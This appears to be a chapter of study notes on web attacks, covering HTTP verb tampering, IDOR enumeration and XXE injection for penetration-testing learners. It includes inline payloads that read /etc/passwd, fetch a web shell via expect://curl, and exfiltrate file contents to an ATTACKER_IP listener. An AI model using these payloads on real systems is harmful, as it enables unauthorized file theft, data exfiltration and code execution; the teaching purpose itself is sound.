Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

🏠 Back to Blog

Web Attacks

Directory map

Summary

Web attacks are the most common class of attacks against businesses, targeting external-facing applications, internal web apps, and API endpoints alike. This section covers three attack types found across many web applications. HTTP Verb Tampering exploits servers that accept unexpected HTTP methods, allowing attackers to bypass authorization mechanisms and security controls by sending requests with non-standard verbs. Insecure Direct Object References (IDOR) exploit weak or missing back-end access controls: when applications use predictable identifiers (sequential IDs, user numbers) to reference resources, an attacker can guess or calculate valid IDs to access other users’ data. XML External Entity (XXE) Injection targets applications using outdated XML parsers to process user-supplied XML — malicious payloads can read local files (configs, source code, credentials), enable whitebox testing, steal server credentials, and potentially achieve remote code execution.

HTTP Verb Tampering vulnerabilities stem from two sources. Insecure server configuration occurs when authentication rules are scoped to specific methods (e.g., <Limit GET POST>) leaving any other verb — such as HEAD — unauthenticated and freely accessible. Insecure coding occurs when input sanitization is applied to one HTTP method (e.g., $_GET) while the query uses a broader parameter source (e.g., $_REQUEST), allowing an attacker to switch to POST to bypass the filter entirely. The coding variant is more prevalent because it arises from common developer mistakes rather than misconfiguration.

Bypassing security filters is the more common variant: if a filter only inspects one method’s parameter source (e.g., $_POST), switching to a different method (e.g., GET) carries the payload through an unchecked channel while the underlying function (using $_REQUEST) still processes it. To confirm exploitation, use a two-file command injection payload (file1; touch file2;) — both files appearing proves command execution. A web app that appears fully filtered against injection may be completely exposed once the method is switched.

Bypassing basic authentication via verb tampering follows a short process: identify the restricted page/directory, intercept the request, try switching GET → POST (if also blocked, move on), send an OPTIONS request to enumerate accepted methods (curl -i -X OPTIONS http://TARGET/), then try HEAD. Because HEAD is accepted by default on most servers and is often excluded from <Limit> blocks, it bypasses the auth prompt while still executing the server-side action — the empty response body is expected behavior, not a failure. Verify success by checking application state rather than response content.

IDOR vulnerabilities arise when a web application exposes direct references to internal objects (file IDs, database records, API paths) without back-end access control validating that the requesting user is authorized. The reference itself is not the flaw — the missing authorization check is. Impact ranges from information disclosure (reading other users’ files/PII) to data modification/account takeover (write-capable references) to privilege escalation (calling admin-only API endpoints that the back-end fails to restrict to admin roles). IDOR is pervasive because access control is inherently hard to build, hard to automate testing for, and frequently skipped by developers who rely on front-end logic alone.

Identifying IDORs starts with spotting direct object references in URL parameters (?uid=1), API paths, cookies, or headers, then incrementing/fuzzing values to check for unauthorized access. Front-end JavaScript AJAX calls may reveal hidden endpoints and parameters (including admin functions disabled client-side but present in source). Encoded references (Base64) can be decoded, modified, and re-encoded; hashed references can often be reproduced by finding the algorithm in front-end source (e.g., CryptoJS.MD5(filename)) or identifying the hash type. Registering multiple accounts and comparing their HTTP requests reveals how identifiers are calculated and whether the back-end validates the caller’s session against the requested resource.

Mass enumeration automates IDOR exploitation at scale. Static file IDORs embed the user ID in predictable filenames (Invoice_1_09_2021.pdf); parameter-based IDORs pass the UID directly in a query string (?uid=1) — always check linked file URLs and page source since the UI may look identical across different UIDs. Extract document links with curl + regex (grep -oP "\/documents.*?.pdf"), then loop over UID ranges with a bash script using wget, or use Burp Intruder / ZAP Fuzzer for the same result.

Bypassing encoded references exploits the common mistake of performing hashing or encoding client-side. When a web application obscures object references using a scheme like MD5(Base64(uid)), the algorithm is visible to anyone who reads the front-end JavaScript source. Reproducing the scheme on the command line (echo -n 1 | base64 -w 0 | md5sum) confirms the algorithm, after which all object references become calculable and the protection is equivalent to none. A bash loop generates hashes for every target UID and curl -sOJ downloads the associated file in a single script. True security requires the hash to be computed server-side with a secret salt and a back-end authorization check — encoding or hashing alone is not access control.

XXE Injection targets web applications that parse user-supplied XML (SOAP APIs, web forms, file uploads) using XML parsers that allow external entity resolution. XML documents can define external entities via the SYSTEM keyword (<!ENTITY name SYSTEM "file:///etc/passwd">); when the server parses the document and substitutes entity references in its response, the contents of local files are returned to the attacker. The DTD mechanism (<!DOCTYPE>) is what makes this possible — it allows entities to be defined inline before the parser processes the document body. Understanding the core XML primitives (elements, attributes, entities, DTD declarations) is prerequisite to constructing XXE payloads.

XXE local file disclosure starts by confirming entity injection: insert an inline DTD with an internal entity and check whether the reflected value in the response is substituted (Inlane Freight) or literal (&company;). Once confirmed, switch to an external SYSTEM entity pointing to file:///etc/passwd to read server files. PHP source code containing special XML characters can be read using php://filter/convert.base64-encode/resource=index.php — the base64 output is safe to embed in XML. RCE is possible via expect:// (PHP only, module rarely enabled) or by using expect://curl$IFS to fetch and write a web shell; $IFS substitutes for spaces to avoid breaking XML syntax. XXE also enables SSRF (internal URL probing) and a Billion Laughs DoS (exponential entity expansion) — though modern servers protect against the latter.

XXE advanced file disclosure covers two techniques for cases where basic file:// fails or produces no output. CDATA + parameter entities: direct entity joining is blocked by the XML spec, but if all entities are declared in an external DTD served from the attacker’s machine, they are treated as external and can be freely joined — assemble <![CDATA[ %file; ]]> in xxe.dtd, serve it with python3 -m http.server, and reference it with <!ENTITY % xxe SYSTEM "http://ATTACKER_IP/xxe.dtd"> followed by %xxe;; the &joined; entity then returns raw file source without base64 or encoding. Error-based XXE: when no output is reflected but runtime errors are displayed, define a parameter entity that triggers an error containing the file contents (%nonExistingEntity;/%file;); the parser error message embeds the file data. Error-based output may be truncated and is less reliable than CDATA for source code, but works when there is nothing else to observe.

XXE blind data exfiltration (OOB) is used when no output and no errors are available. The target server is made to issue an HTTP request to the attacker’s listener, with the base64-encoded file content embedded as a query parameter: %oob builds the URL http://ATTACKER_IP:8000/?content=%file;, which fires when &content; is referenced in the XML body. A PHP listener (php -S 0.0.0.0:8000) with an index.php that calls base64_decode($_GET['content']) auto-decodes the data on arrival. XXEinjector automates this: save the Burp request with XXEINJECT as the position marker, then run ruby XXEinjector.rb --host=IP --httpport=8000 --file=req --path=/etc/passwd --oob=http --phpfilter; results are saved to the Logs/ directory. DNS OOB (encoding data as a subdomain, captured with tcpdump) is an alternative when HTTP egress is blocked.